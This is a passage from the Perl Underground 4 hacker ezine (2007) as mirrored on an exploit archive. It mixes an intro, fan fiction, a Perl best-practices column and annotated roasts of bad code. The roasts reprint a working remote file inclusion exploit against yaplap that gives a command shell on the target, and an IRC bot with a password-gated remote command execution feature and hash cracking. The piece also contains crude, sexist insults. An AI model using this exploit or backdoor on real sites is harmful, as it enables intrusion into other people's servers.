- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 13105
- Проверка EDB
-
- Пройдено
- Автор
- PERL UNDERGROUND
- Тип уязвимости
- PAPERS
- Платформа
- EZINE
- CVE
- N/A
- Дата публикации
- 2007-04-03
Код:
$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$ $$$$
$$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
$$$$$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$
$$$$$$$$$$ $$$$ $$$$$$$$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$
$$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
$$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
$$$$ $$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$
$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$$
$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$
$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$
$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
[[email protected]]$ date
Mon Feb 26 21:04:21 EST 2007
[[email protected]]$ ls -lt
total 216
-rw------- 1 puyou puyou 0 2007-02-26 20:32 TOC
-rw------- 1 puyou puyou 1368 2007-02-26 20:21 intro.txt
-rw------- 1 puyou puyou 3476 2007-02-26 18:21 spaceman_spiff.txt
-rw------- 1 puyou puyou 4787 2007-02-26 18:20 kiddie.txt
-rw------- 1 puyou puyou 7672 2007-02-26 18:20 merlyn.txt
-rw------- 1 puyou puyou 478 2007-02-26 18:20 noob.txt
-rw------- 1 puyou puyou 24921 2007-02-26 18:19 preddy.txt
-rw------- 1 puyou puyou 1707 2007-02-26 18:19 vipul.txt
-rw------- 1 puyou puyou 1571 2007-02-26 18:19 cpanel.txt
-rw------- 1 puyou puyou 17138 2007-02-26 18:19 regex.txt
-rw------- 1 puyou puyou 11384 2007-02-26 18:17 2600.txt
-rw------- 1 puyou puyou 897 2007-02-26 18:15 saltmarsh.txt
-rw------- 1 puyou puyou 3636 2007-02-26 18:14 perl6.txt
-rw------- 1 puyou puyou 5326 2007-02-26 18:12 foster_and_burnett.txt
-rw------- 1 puyou puyou 3072 2007-02-26 18:12 jon_erickson.txt
-rw------- 1 puyou puyou 26922 2007-02-26 18:12 mjd.txt
-rw------- 1 puyou puyou 3768 2007-02-26 18:12 napta.txt
-rw------- 1 puyou puyou 28681 2007-02-26 18:12 p5p.txt
-rw------- 1 puyou puyou 5242 2007-02-26 18:12 nasti.txt
-rw------- 1 puyou puyou 657 2007-02-26 18:11 egomaniac.txt
-rw------- 1 puyou puyou 4233 2007-02-26 18:10 cirt.dk.txt
-rw------- 1 puyou puyou 979 2007-02-26 18:08 str0ke.txt
-rw------- 1 puyou puyou 715 2007-02-26 18:07 ownedbypu.txt
-rw------- 1 puyou puyou 1359 2007-02-26 18:05 outr0.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 1368 2007-02-26 20:21 rant/intro.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to Perl Underground 4. Despite consideration of options, this is much like the other Perl
Underground zines. Despite not doing so in the previous editions, I would like to expose a few of
the artistic choices that went into the making of this one.
In the past, particularly in PU and PU2, we went right after a lot of big names. We clearly
established that we would go after anybody, no matter how much we respect them or to what degree
they write good code. In this zine, there are far fewer celebrities. Targets were chosen on a merit
basis. We focus on some very bad code, but also on some code that is merely creative in the ways
that it is bad. Do not worry, we still have a little poke at str0ke.
Our previous editions focused on older quality articles from legendary gurus, in a way to fill many
of our readers in on a missed heritage. PU4 is more contemporary. There are few "School You"
articles, but some of them are very new. Hopefully they give a diverse picture of the current Perl
world.
As for the creative writing pieces that I chose to title as "rants" based on the nature of the very
first of them, I think they have enough funny parts, and a few easter eggs. A prize to anyone who
can figure out where saltmarsh.txt comes from. Bonus points for class if you knew it originally.
Thank you for your attention, and please enjoy the publication.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 3476 2007-02-26 16:07 rant/spaceman_spiff.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
< If you're going to tear around with a squirt gun, do it outside! >
A dreaded Naggon mother ship fires a bolt of deadly destructo ray that sends a small, red
spacecraft reeling towards an unknown planet! Inside that spacecraft is our hero, the intrepid...
[ Perl Underground is proud to present ]
:::::::: ::::::::: ::: :::::::: :::::::::: ::: ::: ::: :::: :::
:+: :+: :+: :+: :+: :+: :+: :+: :+: :+:+: :+:+: :+: :+: :+:+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ +:+ +:+ :+:+:+ +:+
+#++:++#++ +#++:++#+ +#++:++#++: +#+ +#++:++# +#+ +:+ +#+ +#++:++#++: +#+ +:+ +#+
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+#+#
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#+#
######## ### ### ### ######## ########## ### ### ### ### ### ####
:::::::: ::::::::: ::::::::::: :::::::::: :::::::::: INTERPLANETARY
:+: :+: :+: :+: :+: :+: :+: EXPLORER
+:+ +:+ +:+ +:+ +:+ +:+ EXTRAORDINAIRE
+#++:++#++ +#++:++#+ +#+ :#::+::# :#::+::#
+#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#
######## ### ########### ### ###
Our hero wrestles the controls, but the altituditron refuses to respond!
With ever increasing velocity, Spiff roars to his doom!
Spiff's only hope is to attempt a thousand mile-an-hour landing!
Our hero lowers the landing gear and levels out! WILL HE MAKE IT??
< hmph. >
YES! The incredible Spaceman Spiff survives! Dazed, but unhurt, our hero crawls from the smoldering
wreckage!
Spiff sets off across the planet surface. An ominous, shadowy figure flits across a nearby hilltop!
An alien!
Our hero darts behind a rock and sets his zorcher on "shake and bake." The alien approaches!
< Hi Calvin! I see you, so you can stop hiding now! Are you playing cowboys or something? Can I
play too? >
It's a loathesome bat-webbed booger being... A repulsive leech-like creature that attaches itself
to you and never lets you alone until you're dead!!
Our hero springs into action! KISS YOUR PROTONS GOODBYE, BOOGER BEING!!
Spiff fires repeatedly... But to his great surprise and horror, the zorch charge is absorbed by the
booger being with no ill effect! Instead, the monster only becomes angry!
< Why'd you do THAT, you mean little creep?!? I'm telling your mom!! >
< uh oh. >
ZOUNDS! The booger being is in alliance with the naggon mother ship that shot spiff down in the
first place! Our hero opts for a speedy getaway!
At the booger being's distress signal, a gigantic naggon materializes on the planet surface!
With a ground-shaking lunge, the naggon is after Spaceman Spiff!
Our hero leaps into a crevice! Knowing his zorcher would be useless against the behemoth, Spiff
arms the demise-o bomb he keeps in his belt for such an emergency!
The naggon rounds the corner! Spiff heaves the bomb!
< Ha ha! Death to naggons! >
< Calvin, don't you dare throw that.. >
The monster is only stunned! Spiff quickly tries to arm another bomb!
It's too late! The naggon has him! What will happen NOW??
< Hi honey, I'm home! Boy, what a day at the off.. >
< ..Uh, what's with the towels... Or don't I want to know? >
< Your son is in his room, waiting for you to have a talk with him. >
In the smelly, gloomy dungeon, Spaceman Spiff prepares a cunning trap for the approaching naggon
king! Soon our fearless hero will be free again!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 4787 2007-02-26 18:20 laugh/kiddie.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Hobbes> Croquet is a gentleman's game.
#!/usr/bin/perl
#yaplap Remote File Inclusion Vulnerablity
#Version 0.6 & 0.6.1
#Class = Remote File Inclusion
#Bug Found & Exploit [c]oded By DeltahackingTEAM (Dr.Trojan&Dr.Pantagon)
#Download:http://osdn.dl.sourceforge.net/sourceforge/yaplap/yaplap-0.6.1.tar.gz
#Vulnerable Code:include $LOGIN_style."_form.php";
#[Path]/Index.php?site_main_path=
#Exploit: ldap.php?LOGIN_style=[shell]
# FUCK Your Mother &Your SisTer=>>> z_zer0c00l
# ^^^^^^^^^^^^^ script kiddie nonsense
use LWP::UserAgent;
# ^^ good thing you did not include strict or warnings .. did not figure you would seeing as you can not code
$target=@ARGV[0];
# usg() unless my ($target) = shift =~ m!^(http://[^\n]+)!;
$shellsite=@ARGV[1];
# usg() unless my ($shellsite) = shift =~ m!^(http://[^\n]+)!;
$cmdv=@ARGV[2];
#$cmdv = shift || usage();
if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
# stabbing my eyes with toothpicks and ugly regexs!
# you do not even check where the http:// is try using ^
{
usg()
}
header();
# my ($cmd);
# LEARN TO INDENT CODE YOU DO HAVE A TAB KEY RIGHT!!!!!!!!!!
while()
{
print "[Shell] \$";
while (<STDIN>)
{
$cmd=$_;
chomp($cmd);
# ^ that is disgusting try this:
# while(chomp($cmd = <STDIN>))
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$target.'ldap.php?LOGIN_style='.$shellsite='.?&'
.$cmdv.'='.$cmd)or die "\n\n Failed to Connect, Try again!\n";
# $req = HTTP::Request->new(GET=>"$targetldap.php?LOGIN_style=$shellsite=?&$cmdv=$cmd")
# or die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[ê]/;
# do you even know what this means?
if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}
# why all this print and unsetting a variable?
# try:
# next if (!$cmd);
elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}
# die("\nCould Not Connect to cmd Host or Invalid Command Variable\n") if
# ($info =~/failed to open stream: HTTP request failed!/ ||
# $info =~/:Cannot execute a blank command in <b>/);
elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};
# die("...") if ($info =~/^<br.\/>.<b>Warning/);
if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
# this is pretty funny that you capture two strings and only use one.
# showing again that you dont know how to code but instead copy paste
# also what is the point of <br.\/>? were you trying to match <br >?
# they have this thing called "\s" it stands for "space"
# not that you would know for reasons mentioned before.
# also why do you have Warning.(.+) ? did you mean to escape the special
# character "."? Do you even know what escaping is.......
# How about:
# if($final = $info =~ /(.+)<br\s\/>.<b>Warning\..+<br\s\/>.<b>Warning/){
print "$final\n";
last;
# ^ SEE THE TAB MAKES YOUR CODE READABLE NOT LIKE ANYONE USES YOUR BULLSHIT ANYWAY
}
{
$final = $1;
$final=~ tr/[ê]/[\n]/;
print "\n$final\n";
last;
}
# ^^ /me throws up
# since we exit after every case here and dont have your ugly
# if-else-block we can just print "[shell] \$";
else {
print "[shell] \$";
} # You
} # fail
} # at
last; # life
sub header()
{
print q{
*******************************************************************************
***(#$#$#$#$#$=>http://www.deltasecurity.ir<=#$#$#$#$#$)***
Vulnerablity found By: DeltahackingTEAM
Exploit [c]oded By: Dr.Trojan
Dr.Trojan,HIV++,D_7j,Lord,VPc,Tanha,Dr.Pantagon
http://advistory.deltasecurity.ir
We Server(99/999% Secure) <<<<<www.takserver.ir>>>>>
Email:Dr.Trojan[A]deltasecurity.ir 0nly Black Hat
******************************************************************************
}
# ^ L1k3 OMg i n3v3r heard of tab and im so l33t
# my name is dr. trojan i R master of t3h sub 7
# 0nly bl4ckh4t em4ilz so w3 can r3l34s3 0day w4r3z like the true blackhats h0h0h0h0h0
# catch us on zone-h.org http://www.zone-h.org/component/option,com_attacks/Itemid,43/filter_defacer,DeltahackingSecurityTEAM/
# we w1ll 0wn your phpbb board ph33r us!@#!@#!@#@!#!@#!@
}
sub usg()
{
header();
print q{
Usage: perl delta.pl [tucows fullpath] [Shell Location] [Shell Cmd]
[yaplap FULL PATH] - Path to site exp. www.site.com
[shell Location] - Path to shell exp. d4wood.by.ru/cmd.gif
[shell Cmd Variable] - Command variable for php shell
Example: perl delta.pl http://www.site.com/[yaplap]/
********************************************************************************
};
exit();
}
# found at: http://milw0rm.com/exploits/2930
# took me three bottles of jack and an iranian slut to finish this code but im done
# back to the physch ward after this one
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 7672 2007-02-26 18:20 school/merlyn.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[suggested title: ``Practicing Best Perl'']
Roughly a year ago, my friend Damian Conway published a hefty tome called Perl Best Practices. He
managed to gather 256 strongly suggested ideas and behaviors that had made his Perl hacking more
successful for him and his customers over the years. As a reviewer on the book, I was happy enough
with what I had seen to provide a quote which was eventually selected for the back cover:
As a manager of a large Perl project, I'd ensure that every member of my team has a copy of Perl
Best Practices on their desk, and use it as the basis for an in-house guide.
A year later, looking back, I'm still happy with what I've seen, including how some of my clients
have taken my advice to heart. While I don't intend for this column to be a book review, I wanted
to provide some context for the rest of what I have to say this time around.
I've been writing computer programs for over 35 years, including 25 years of doing that and getting
paid for it. One of the hardest things to convey in little snippets of code and random Perlmonks
posting is the larger picture of ``don't do this because I got burned doing that a long time ago''.
Apparently, the young'uns these days just want to get something hacked out, or figure that their
problem is just completely unique and some advice I may be able to dish out in a one-liner can't
possibly apply to them.
Or they think they know better. That's fine. We need the enthusiasm of the unscarred youth to
explore new and better spaces. But time-after-time, many of them come to realize that maybe the old
grey-beards actually had some sane thing to say about their task.
For example, a frequent request comes along on how to have a variable name contain all or part of
another variable name. In Perl, we can certainly accomodate access to the package variables using
symbolic references, and (with some difficulty) the lexicals with a well-formed eval-string
operation.
But the caveat I include (with either my own posting, or as a footnote to someone else's
unqualified answer) is don't do that. To many people asking the question, it's often a puzzling
response, because they see me giving, and yet taking away, in the same answer. My fear, of course,
is that they listen to the ``how'' and completely ignore the ``why not'', and run off to write code
that will be unmaintainable and possibly expose some security holes.
But this is the difference between knowing how to code in Perl, and knowing the best way to code in
Perl. I know from my years of practice that code that blurs data and variable names will be hard to
maintain, and prone to problems. But I have to convey that in a way that seems more about intuition
than by reeling off all those moments in the past that give the basis of my conclusions.
Naturally, the ``Yeah, but there's more than one way to do it'' war chant is often returned, but I
think that's misunderstanding what Larry Wall means as he says that. Larry wants Perl to have the
power of expression to suit the coder and situtation, including perhaps having multiple ways to say
the same thing to emphasize various aspects. He doesn't intend the phrase to imply ``... and all
ways are equally valid and suitable for every occasion''.
This is where Damian Conway's book comes in to play. Damian has helped sort out the things that
most Perl experts agree are more likely to produce better code faster and easier, narrowing down
the many ways to do things into the ways people seem to get more things done. And although some of
the things might be considered arbitrary, or perhaps even controversial, Damian makes strong
arguments for each item, so even if you disagree, you can say, ``Hey, he's got a good point here.''
To illustrate my point, let's look at a few of Damian's ``Best Practices'', albeit illustrated with
my own examples when I think of them.
For example, in Chapter Two, we see ``Never place two statements on the same line''. Sure, it
sounds simple. But there are some important implications of this advice.
First, a statement in Perl is a logical step: the kind of thing that you'd want to add, remove,
cut, or paste. If you have two statements on a line, it's harder to edit your program to have more
steps.
But more importantly perhaps, the Perl debugger can place a breakpoint only on a line-by-line
basis. So although the second statement might be a logical stopping point during single-stepping or
code evaluation, having put the statement mid-line, we no longer have that option. While Perl
normally doesn't care about increased or decreased whitespace, we see an important semantic change
here by not following this (now hopefully motivated) advice.
When I first read that advice, it sat with me like ``well, of course''. But that's because I had
already been burned by not being able to set a breakpoint on a mid-line statement, so I carry the
scar, vowing never to get burned that way again. That's what makes a book like this have a great
deal of value, giving others the chance to learn from my scars.
The very next advice, ``Code in Paragraphs'', is also something I did quite naturally and
frequently, which you know if you've been reading my past columns and books. I like to use
whitespace to create ``paragraphs'' of statements (considering the statement as a ``sentence'').
For example, in a subroutine call, I place an extra blank line after any code that sorts out the
initial processing of @_:
sub marine {
my $wave = shift;
my $direction = shift;
... more processing here ...
}
The extra blank line gives some ``breathing room'' to the eye, as well as suggest that I'm
``changing gears'' a bit in the next section. The blank line costs only a single \n character, and
yet I'm saving a bit of time for everyone reading the program. In addition to adding these blank
lines every dozen or fewer code lines, I generally add a topic comment in front of the following
chunk:
## compute the value
... code here
... to do
... the computation
## copy the data to the cache
... more
... code
## update the cache freshness
... code here
## return the value
return $the_value;
Each comment begins with a double-hash ## so that my eye can immediately jump to it, and the
comment describes the actions taken by the next few lines of code. I rarely write more than one
line in these comments: consider them a ``headline''.
Again, it's a little thing, but it's amazing how much more readable the code is when you can keep
doing these ``little things'' consistently.
In chapter 4, I found the advice ``Use named constants, but don't use constant''. I found that
rather shocking, and initially (mockingly) offensive because the core module constant had been
written by my fellow Stonehenge employee, Tom Phoenix. However, Damian goes on to describe the much
more powerful and useful Readonly module (found in the CPAN), of which I had previously been
unaware. Compare the following with use constant:
use constant PI => 3.2;
print "In Indiana, Pi might have been @{[PI]}\n";
versus the equivalent with Readonly:
use Readonly;
Readonly my $PI = 3.2;
print "In Indiana, Pi might have been $PI\n";
Yes, the Readonly interface creates actual scalars (rather than subroutines as with use constant),
which can be much more easily interpolated into strings, used as bareword keys, or even work nicely
as readonly arrays and hashes.
So, even a beardless Perl ``greybeard'' like me can learn a new trick from a book like Perl Best
Practices and that's pretty cool. So, I suggest you go out immediately and add this book to your
shelf (real or virtual), and until next time, enjoy!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 478 2007-02-26 18:20 rant/noob.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dear Perl Underground,
Hi! I really like your zine. It sure was funny how you made fun of those guys. You should make fun
of more guys. I didn't actually read any of the articles except for the insult parts. I especially
didn't read the parts written by elite Perl coders trying to educate the ignorant masses of which I
am a part. In fact, my Perl code is complete shit and yet it hasn't occured to me that I could end
up in the next PU.
Desperately in Love,
A Stupid Noob
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 24921 2007-02-26 18:19 laugh/preddy.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Hobbes> That's a lie! You ALWAYS take the lucky red ball first!
#!/usr/bin/perl
###################################################################################################
#
#Ircbot - by Preddy
#Commands:
#
#!bitch (info about the owner of the bot)
#!crack (to lookup an md5 hash and get the plain text format of it..(3 website's))
#!md5gen (to generate an md5 hash)
#!quote (to view a quote from a list of famous computer quotes)
#!changenick (to change the bot's name to a random name from the list.. Usage: !changenick <pass>)
#!inject (to inject the user with an injectable object eg: a toothbrush)
#!proxy (to get a list of proxies from nntime.com)
#!advisories (to get a list of advisories from secunia.com)
#!exploits (to get a list of exploits from milw0rm.com)
#!securitynews (to get the latest securitynews from addict3d.org)
#!technews (to get the latest technews from addict3d.org)
#!gewgle (search for something at google)
#!exec (executes a command,requires the owners password.. usage: !exec <pass> <command>)
#!suicide (kill the bot..usage: !suicide <pass>
#!say (Let the bot say a message to the channel..usage: !say <pass> <message>)
#
#Other Features:
#
#Bot greets with: Good morning sir... (if string: morning is detected)
#Bot auto-rejoins after a kick with a newly changed name
#Bot replies to PING requests from the server
###################################################################################################
#
# You should use POD. Really. It is so nice, so pretty!
use IO::Socket;
use Switch;
use Digest::MD5 qw(md5_hex);
# Switch is lame. Unfortunately Perl 5 does not have a proper switch statement, and for that we
# apologize. However, Switch sucks.
# Use strict and warnings.
$server = 'ABS.lcirc.net';
$port = '6667';
# NO QUOTING
$user = 'P02 P03 P04 :P___';
# PU4, staring right at you!
$nick = 'P02';
$chan = '#milw0rm';
$logfile = 'irc-log.txt';
$owner = '|Preddy|';
$pass = 'c02b7d24a066adb747fdeb12deb21bfa'; #penis
# Yes, penis, how amusing. Now make your variables lexical
# If you are going to bother with minimal password security
# why not use a password whose hash won't crack quite so quickly?
$con = IO::Socket::INET->new(PeerAddr=>$server,
PeerPort=>$port,
Proto=>'tcp',
Timeout=>'30') || print "Error: Connection\n";
# $! is a useful variables
print $con "USER $user\r\n";
print $con "NICK $nick\r\n";
print $con "JOIN $chan\r\n";
# So is $\
while($answer = <$con>)
{
# Shit this is ugly. All ugly. ALL UGLY
open(LOG,">>$logfile");
print LOG "$answer";
close(LOG);
#who's yo daddy?
if($answer =~ m/\!bitch/)
{
# You realize that will match !bitch anywhere, not just the beginning of your line?
# Mistakes can happen!
# And, escaping not necessary in that circumstance
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
# holy fuck you line waster
# I'm calling the environment police, you're killing \ns
print $con "privmsg $xchannel :I am tha bitch of $owner..\n";
}
}
if($answer =~ m/\!suicide/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@strpart = split(" ",$xtext);
$p = $strpart[1];
$encpw = md5_hex($p);
# How about shorter and smarter? my $encpw = md5_hex( (split(' ', $xtext))[1] ); or so?
if($encpw == $pass)
{
exit;
}
# exit if $encpw == $pass;
}
}
if($answer =~ m/\!say/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@strpart = split(" ",$xtext);
$p = $strpart[1];
$encpw = md5_hex($p);
if($encpw == $pass)
{
$msg = "$strpart[2] $strpart[3] $strpart[4] $strpart[5] $strpart[6] $strpart[7] $strpart[8]
$strpart[9] $strpart[10] $strpart[11] $strpart[12] $strpart[13] $strpart[14] $strpart[15]
$strpart[16] $strpart[17] $strpart[18] $strpart[19] $strpart[20] $strpart[21] $strpart[22]
$strpart[23] $strpart[24] $strpart[25]";
# You dumb fuck. How about $msg = join ' ', @strpart;
print $con "privmsg $chan :$msg\n";
}
}
}
if($answer =~ m/\!exec/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@strpart = split(" ",$xtext);
$p = $strpart[1];
$encpw = md5_hex($p);
if($encpw == $pass)
{
# You really dumb fuck. you split it up there, just to manually output it here
$cmd = "$strpart[2] $strpart[3] $strpart[4] $strpart[5] $strpart[6] $strpart[7] $strpart[8]
$strpart[9] $strpart[10] $strpart[11] $strpart[12] $strpart[13] $strpart[14] $strpart[15]
$strpart[16] $strpart[17] $strpart[18] $strpart[19] $strpart[20] $strpart[21] $strpart[22]
$strpart[23] $strpart[24] $strpart[25]";
@output = qx($cmd);
foreach $command (@output)
{
print $con "privmsg $xnick :$command\n";
}
# One line it! Do it!
}
}
}
if($answer =~ m/\!gewgle/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
# Why don't you assign those (properly!) once, earlier in the program,
# and stop SUCKING for the rest of it?
@words = split(" ",$xtext);
$word = $words[1];
# my $word = (split ' ', $xtext)[1];
$getres =
IO::Socket::INET->new(PeerAddr=>'64.233.183.104',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
# Lame quotes. And include $! in your error message.
print $getres "GET /search?num=1&hl=en&lr=lang_en&q=$word&btnG=Search HTTP/1.0\n";
print $getres "Host: www.google.com\n\n";
# We have modules for this kind of thing. To make sure it goes down right, bitch
print $con "privmsg $xchannel :Word: $word\n";
while($res = <$getres>)
{
$res =~ m/<a class=l href="(.*?)">/ && print $con "privmsg $xchannel :Result : $1\n";
}
}
}
if($answer =~ m/\!crack/)
{
if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
{
$xnick = $1;
$xident = $2;
$xhost = $3;
$xchannel = $4;
$xtext = $5;
@parts = split(" ",$xtext);
$hash = $parts[1];
$gethash =
IO::Socket::INET->new(PeerAddr=>'80.190.251.212',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $gethash "GET /?q=$hash&b=MD5-Search HTTP/1.0\n";
print $gethash "Host: md5.rednoize.com\n\n";
$gethash3 =
IO::Socket::INET->new(PeerAddr=>'67.18.64.178',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $gethash3 "GET /find?md5=$hash HTTP/1.0\n";
print $gethash3 "Host: us.md5.crysm.net\n\n";
$gethash4 =
IO::Socket::INET->new(PeerAddr=>'67.15.126.34',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
"Error: Connection\n";
print $gethash4 "POST / HTTP/1.1\n";
print $gethash4 "Host: www.md5decrypt.com\n";
print $gethash4 "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719
Firefox/1.5.0.5\n";
print $gethash4 "Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
\n";
print $gethash4 "Accept-Language: en-us,en;q=0.5\n";
print $gethash4 "Accept-Encoding: gzip,deflate\n";
print $gethash4 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n";
print $gethash4 "Keep-Alive: 300\n";
print $gethash4 "Connection: keep-alive\n";
print $gethash4 "Referer: http://www.md5decrypt.com/\n";
print $gethash4 "Content-Type: application/x-www-form-urlencoded\n";
print $gethash4 "Content-Length: 43\n";
print $gethash4 "\n";
print $gethash4 "h=$hash&s=Search\n";
# Think of all the space you could have saved with a proper and easy quoting mecanism!
print $con "privmsg $xnick :Hash: $hash\n";
while($ghash = <$gethash>)
{
if($ghash =~ m/<h3>(.*?) /)
{
$hh = $1;
$hh =~ s/://;
$hh =~ s//?/;
$hh =~ s/\n//;
# tr
$hh =~ s/QUIT//;
$hh =~ s/quit//;
# //i
if($hh =~ m/ /)
{
$hh = "?????";
}
if($hh =~ m/\n/)
{
$hh = "?????";
}
